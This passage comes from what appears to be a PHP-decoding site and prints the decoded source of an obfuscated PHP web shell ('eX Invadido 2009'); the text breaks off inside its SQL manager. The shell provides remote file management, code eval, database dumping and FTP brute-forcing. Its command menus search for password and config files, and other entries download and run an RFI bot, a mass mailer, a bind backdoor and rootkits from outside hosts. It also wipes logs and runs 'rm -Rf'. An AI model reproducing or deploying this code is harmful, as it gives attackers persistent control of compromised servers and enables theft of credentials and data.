Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* shaje3 <<YeMeNi HaCkeR>> www.shaja.net*/ eval("?>".gzuncompress(base64_decode("..

Decoded Output download

?>b'<?php
#######################################
## eX Invadido 2009                  ##
define(\'sh_ver\'," by -=CJ=-");    ##
##    CopyRight  invaded             ##
##     irc.rosebanditz.com           ##
##    chan #ex                       ##
#######################################
$sh_name = sh_name();                ##
#######################################
#$sh_mainurl        = "http://www.jemcknight.plus.com/";
$sh_mainurl        = "http://www.jemcknight.plus.com/";
$exsh_updateurl  = $sh_mainurl."exsh_update.php";
$exsh_sourcesurl = $sh_mainurl."exsh.txt";
$sh_sourcez = array(
 "Rfi-Bot"   => array($sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde"),
  "Mass Mailer"   => array($sh_mainurl."libyex.php"),
  "exSh"   => array($sh_mainurl."exsh.txt"),
  "psyBNC"   => array($sh_mainurl."psy.tar.gz"),
);
##[ AUTHENTICATION ]##
$auth = array(
  "login"     => "",
  "pass"      => "",
  "md5pass"   => "",
  "hostallow" => array("*"),
  "denied"    => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!",
);
##[ END AUTHENTICATION ]##
$curdir = "./";
$tmpdir = "";
$tmpdir_logs = "./";
$log_email = "[email protected]"; #Email logna
$sess_cookie = "exshcook";
$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending
$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies.
$usefsbuff = TRUE;
$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste
$surl_autofill_include = TRUE;
$updatenow   = FALSE;
$gzipencode  = TRUE;
$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses.
$hexdump_lines = 8;
$hexdump_rows = 24;
$millink = milw0rm();
$win = strtolower(substr(PHP_OS,0,3)) == "win";
$disablefunc = getdisfunc();
##[ END OF CONFIGS ]##
error_reporting(E_ERROR | E_PARSE);
@ini_set("max_execution_time",0);
@set_time_limit(0); #No Fx in SafeMode
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) { strips($GLOBALS); }
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
@$f = $_REQUEST["f"];
@extract($_REQUEST["exshcook"]);
foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } }
if ($surl_autofill_include) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = @urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\\") as $needle) {
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr;
  $surl = htmlspecialchars($surl);
}
## FILE TYPES ##
$ftypes  = array(
  "html"     => array("html","htm","shtml"),
  "txt"      => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  "exe"      => array("sh","install","bat","cmd"),
  "ini"      => array("ini","inf","conf"),
  "code"     => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  "img"      => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  "sdb"      => array("sdb"),
  "phpsess"  => array("sess"),
  "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes  = array(
  getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  "perl %f%"                => array("pl","cgi")
);
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  array("\.gz$",1,"<font color=#C082FF>","</font>"),
  array("\.tar$",1,"<font color=#C082FF>","</font>"),
  array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  array("\.zip$",1,"<font color=#C082FF>","</font>"),
  array("\.rar$",1,"<font color=#C082FF>","</font>"),
  array("\.php$",1,"<font color=#00FF00>","</font>"),
  array("\.php3$",1,"<font color=#00FF00>","</font>"),
  array("\.php4$",1,"<font color=#00FF00>","</font>"),
  array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  array("\.png$",1,"<font color=#00FFFF>","</font>"),
  array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  array("\.html$",1,"<font color=#00CCFF>","</font>"),
  array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
## QUICK COMMANDS ##
if (!$win) {
  $cmdaliases = array(
    array("", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find config* files", "find / -type f -name \"config*\""),
    array("Find config* files in current dir", "find . -type f -name \"config*\""),
    array("Find all writable folders and files", "find / -perm -2 -ls"),
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("Find all writable folders", "find / -type d -perm -2 -ls"),
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
    array("Find all service.pwd files", "find / -type f -name service.pwd"),
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("Find all .bash_history files", "find / -type f -name .bash_history"),
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("List file attributes on a Linux second extended file system", "lsattr -va"),
    array("Show opened ports", "netstat -an | grep -i listen")
  );
  $cmdaliases2 = array(
    array("wget & extract Rfi-Bot","wget ".$sh_mainurl."ssess_0296317ca2b10940f6c11c59805b4dde;perl ssess_0296317ca2b10940f6c11c59805b4dde"),
    array("wget & extract Mass Mailer","wget ".$sh_mainurl."libyex.php"),
    array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tar.gz;tar -zxf fx.tgz;cd .psy;./config 50000;./fuck;./run"),
    array("-----",""),
    array("Logged in users","w"),
    array("Last to connect","lastlog"),
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
    array("CPU Info","cat /proc/version /proc/cpuinfo"),
    array("Is gcc installed ?","locate gcc"),
    array("Format box (DANGEROUS)","rm -Rf"),
    array("-----",""),
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
    array("Run WIPELOGS PT3","./zap2"),
    array("-----",""),
    array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
    array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  );
}
else {
  $cmdaliases = array(
    array("", "dir"),
    array("Find index.php in current dir", "dir /s /w /b index.php"),
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
    array("Find c99shell in current dir", "find /c \"c99\" *"),
    array("Find r57shell in current dir", "find /c \"r57\" *"),
    array("Find exshell in current dir", "find /c \"ex\" *"),
    array("Show active connections", "netstat -an"),
    array("Show running services", "net start"),
    array("User accounts", "net user"),
    array("Show computers", "net view"),
  );
}
## PHP FILESYSTEM TRICKS (By eX) ##
$phpfsaliases = array(
    array("Read File", "read", 1, "File", ""),
    array("Write File (PHP5)", "write", 2, "File","Text"),
    array("Copy", "copy", 2, "From", "To"),
    array("Rename/Move", "rename", 2, "File", "To"),
    array("Delete", "delete", 1 ,"File", ""),
    array("Make Dir","mkdir", 1, "Dir", ""),
    array("Download", "download", 2, "URL", "To"),
    array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"),
    array("Change Perm (0755)", "chmod", 2, "File", "Perms"),
    array("Find Writable Dir", "fwritabledir", 2 ,"Dir"),
    array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"),
);
## QUICK LAUNCH ##
$quicklaunch1 = array(
    array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
    array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
    array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"),
    array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
    array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"),
    array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d")
);
$quicklaunch2 = array(
    array("Security Info",$surl."act=security&d=%d"),
    array("Processes",$surl."act=processes&d=%d"),
    array("MySQL",$surl."act=sql&d=%d"),
    array("Eval",$surl."act=eval&d=%d"),
    array("Encoder",$surl."act=encoder&d=%d"),
    array("Mailer",$surl."act=fxmailer"),
    array("milw0rm",$millink),
    array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
    array("Toolz",$surl."act=tools&d=%d"),
    array("Kill-Shell",$surl."act=selfremove"),
    array("Feedback",$surl."act=feedback"),
    array("Update",$surl."act=update"),
    array("About",$surl."act=about")
);
if (!$win) {
  $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
}
## HIGHLIGHT CODE ##
$highlight_background = "#C0C0C0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
####################
##[ AUTHENTICATE ]##
####################
$tmp = array();
foreach ($auth["hostallow"] as $k => $v) {
  $tmp[] = str_replace("\*",".*",preg_quote($v));
}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($auth["login"])) {
  if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); }
  if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) {
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\"");
    header("HTTP/1.0 401 Unauthorized");
    die($auth["denied"]);
  }
}
## END AUTHENTICATE ##

if ($act != "img") {
  $lastdir = realpath(".");
  chdir($curdir);
  if ($updatenow) { @ob_clean(); exsh_getupdate(1); exit; }
  $sess_data = @unserialize($_COOKIE["$sess_cookie"]);
  if (!is_array($sess_data)) { $sess_data = array(); }
  if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); }
  if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); }
  ex_buff_prepare();
  foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
  if ($sort_save) {
    if (!empty($sort)) {setcookie("sort",$sort);}
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  }
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  if (!function_exists("mysql_dump")) {
    function mysql_dump($set) {
      global $sh_ver;
      $sock = $set["sock"];
      $db = $set["db"];
      $print = $set["print"];
      $nl2br = $set["nl2br"];
      $file = $set["file"];
      $add_drop = $set["add_drop"];
      $tabs = $set["tabs"];
      $onlytabs = $set["onlytabs"];
      $ret = array();
      $ret["err"] = array();
      if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
      if (empty($db)) {$db = "db";}
      if (empty($print)) {$print = 0;}
      if (empty($nl2br)) {$nl2br = 0;}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (empty($file)) {
        $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
      }
      if (!is_array($tabs)) {$tabs = array();}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (sizeof($tabs) == 0) {
        //Retrieve tables-list
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
      }
      $out = "
      # Dumped by ".$sh_name."
      #
      # Host settings:
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
      # Date: ".date("d.m.Y H:i:s")."
      # DB: \"".$db."\"
      #---------------------------------------------------------";
      $c = count($onlytabs);
      foreach($tabs as $tab) {
        if ((in_array($tab,$onlytabs)) or (!$c)) {
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
          //Receieve query for create table structure
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
          if (!$res) {$ret["err"][] = mysql_smarterror();}
          else {
            $row = mysql_fetch_row($res);
            $out .= $row["1"].";

";
            //Receieve table variables
            $res = mysql_query("SELECT * FROM `$tab`", $sock);
            if (mysql_num_rows($res) > 0) {
              while ($row = mysql_fetch_assoc($res)) {
                $keys = implode("`, `", array_keys($row));
                $values = array_values($row);
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
                $values = implode("\', \'", $values);
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES (\'".$values."\');
";
                $out .= $sql;
              }
            }
          }
        }
      }
      $out .= "#---------------------------------------------------------------------------------

";
      if ($file) {
        $fp = fopen($file, "w");
        if (!$fp) {$ret["err"][] = 2;}
        else {
          fwrite ($fp, $out);
          fclose ($fp);
        }
      }
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
      return $out;
    }
  }
  if (!function_exists("mysql_buildwhere")) {
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {
      if (!is_array($array)) {$array = array();}
      $result = "";
      foreach($array as $k=>$v) {
        $value = "";
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
        $value .= "\'".addslashes($v)."\'";
        if (!empty($functs[$k])) {$value .= ")";}
        $result .= "`".$k."` = ".$value.$sep;
      }
      $result = substr($result,0,strlen($result)-strlen($sep));
      return $result;
    }
  }
  if (!function_exists("mysql_fetch_all")) {
    function mysql_fetch_all($query,$sock) {
      if ($sock) {$result = mysql_query($query,$sock);}
      else {$result = mysql_query($query);}
      $array = array();
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}
      mysql_free_result($result);
      return $array;
    }
  }
  if (!function_exists("mysql_smarterror")) {
    function mysql_smarterror($type,$sock) {
      if ($sock) {$error = mysql_error($sock);}
      else {$error = mysql_error();}
      $error = htmlspecialchars($error);
      return $error;
    }
  }
  if (!function_exists("mysql_query_form")) {
    function mysql_query_form() {
      global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
      if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
      if ((!$submit) or ($sql_act)) {
        echo "<table border=0><tr><td><form name=\"exsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
        if ($tbl_struct) {
          echo "<td valign=\"top\"><b>Fields:</b><br>";
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.exsh_sqlquery.sql_query.value+=\'`".$name."`\';\"><b>".$name."</b></a><br>";}
          echo "</td></tr></table>";
        }
      }
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
    }
  }
  if (!function_exists("mysql_create_db")) {
    function mysql_create_db($db,$sock="") {
      $sql = "CREATE DATABASE `".addslashes($db)."`;";
      if ($sock) {return mysql_query($sql,$sock);}
      else {return mysql_query($sql);}
    }
  }
  if (!function_exists("mysql_query_parse")) {
    function mysql_query_parse($query) {
      $query = trim($query);
      $arr = explode (" ",$query);
      $types = array(
        "SELECT"=>array(3,1),
        "SHOW"=>array(2,1),
        "DELETE"=>array(1),
        "DROP"=>array(1)
      );
      $result = array();
      $op = strtoupper($arr[0]);
      if (is_array($types[$op])) {
        $result["propertions"] = $types[$op];
        $result["query"]  = $query;
        if ($types[$op] == 2) {
          foreach($arr as $k=>$v) {
            if (strtoupper($v) == "LIMIT") {
              $result["limit"] = $arr[$k+1];
              $result["limit"] = explode(",",$result["limit"]);
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
              unset($arr[$k],$arr[$k+1]);
            }
          }
        }
      }
      else {return FALSE;}
    }
  }
  if ($act == "gofile") {
    if (is_dir($f)) { $act = "ls"; $d = $f; }
    else { $act = "f"; $d = dirname($f); $f = basename($f); }
  }
  ## HEADERS ##
  @ob_start();
  @ob_implicit_flush(0);
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", FALSE);
  header("Pragma: no-cache");
  if (empty($tmpdir)) {
    $tmpdir = ini_get("upload_tmp_dir");
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  }
  $tmpdir = realpath($tmpdir);
  $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  else {$tmpdir_logs = realpath($tmpdir_logs);}
  $sort = htmlspecialchars($sort);
  if (empty($sort)) {$sort = $sort_default;}
  $sort[1] = strtolower($sort[1]);
  $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  @ini_set("highlight.bg",$highlight_bg);
  @ini_set("highlight.comment",$highlight_comment);
  @ini_set("highlight.default",$highlight_default);
  @ini_set("highlight.html",$highlight_html);
  @ini_set("highlight.keyword",$highlight_keyword);
  @ini_set("highlight.string",$highlight_string);
  if (!is_array($actbox)) { $actbox = array(); }
  $dspact = $act = htmlspecialchars($act);
  $disp_fullpath = $ls_arr = $notls = null;
  $ud = @urlencode($d);
  if (empty($d)) {$d = realpath(".");}
  elseif(realpath($d)) {$d = realpath($d);}
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $d = str_replace("\\","\",$d);
  $dispd = htmlspecialchars($d);
  $safemode = safemode();
  if ($safemode) {
    $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>";
    $safemodeexecdir = @ini_get("safe_mode_exec_dir");
  }
  else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; }
  $v = @ini_get("open_basedir");
  if ($v or strtolower($v) == "on") {
    $openbasedir = TRUE;
    $hopenbasedir = "<font color=red>".$v."</font>";
  }
  else {
    $openbasedir = FALSE;
    $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  }
  
##################
##[ HTML START ]##
##################
function srv_info($title,$contents) {
  echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>
";
}
echo htmlhead($hsafemode);
echo "<table id=pagebar>";
echo "<tr><td colspan=2>
";
echo "<div class=fleft>$hsafemode</div>
";
echo "<div class=fright>";
echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
     "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
     ($win?"Drives: ".disp_drives($d,$surl):"");
echo "</div>
</td></tr>
";
echo "<tr><td width=50%>
";
echo "<table class=info>
";
srv_info("Software","".$DISP_SERVER_SOFTWARE);
srv_info("Uname",php_uname());
srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : exexec("id"));
echo "</table></td>
".
     "<td width=50%>
";
echo "<table class=info>
";
srv_info("Freespace",disp_freespace($d));
echo "</table></td></tr>
";
echo "<tr><td colspan=2>
";
echo get_status();
echo "</td></tr>
";
echo "<tr><td colspan=2>
";
echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>
" : "";
echo showdisfunc() ? "DisFunc: ".showdisfunc()."
" : "";
echo "</td></tr>
";
echo "<tr><td colspan=2 id=mainmenu>
";
if (count($quicklaunch2) > 0) {
  foreach($quicklaunch2 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td>
".
     "<tr><td colspan=2 id=mainmenu>
";
if (count($quicklaunch1) > 0) {
  foreach($quicklaunch1 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td></tr>
<tr><td colspan=2>";
echo "<p class=fleft>
";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
  $t = ""; $j = 0;
  foreach ($e as $r) {
    $t.= $r.DIRECTORY_SEPARATOR;
    if ($j == $i) { break; }
    $j++;
  }
  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>
";
  $i++;
}
echo " - ";
if (is_writable($d)) {
  $wd = TRUE;
  $wdt = "<font color=#00FF00>[OK]</font>";
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
  $wd = FALSE;
  $wdt = "<font color=red>[Read-Only]</font>";
  echo "<b>".view_perms_color($d)."</b>";
}
echo "
</p>
";
?>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
/***********************/
/** INFORMATION TABLE **/
/***********************/
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($act == "") { $act = $dspact = "ls"; }
if ($act == "sql") {
  $sql_surl = $surl."act=sql";
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don\'t reports bugs.</h4>".
       "<table>".
       "<tr><td width=\"100%\" colspan=2 class=barheader>";
  if ($sql_server) {
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror();
    @mysql_select_db($sql_db,$sql_sock);
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  echo ".: SQL Manager :.<br>";
  if (!$sql_sock) {
    if (!$sql_server) {echo "NO CONNECTION";}
    else {echo "Can\'t connect! ".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
    $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
    $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
    $sqlquicklaunch[] = array("Logout",$surl."act=sql");
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  }
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  }
  else {
    //Start left panel
    if (!empty($sql_db)) {
      ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
        $c = 0;
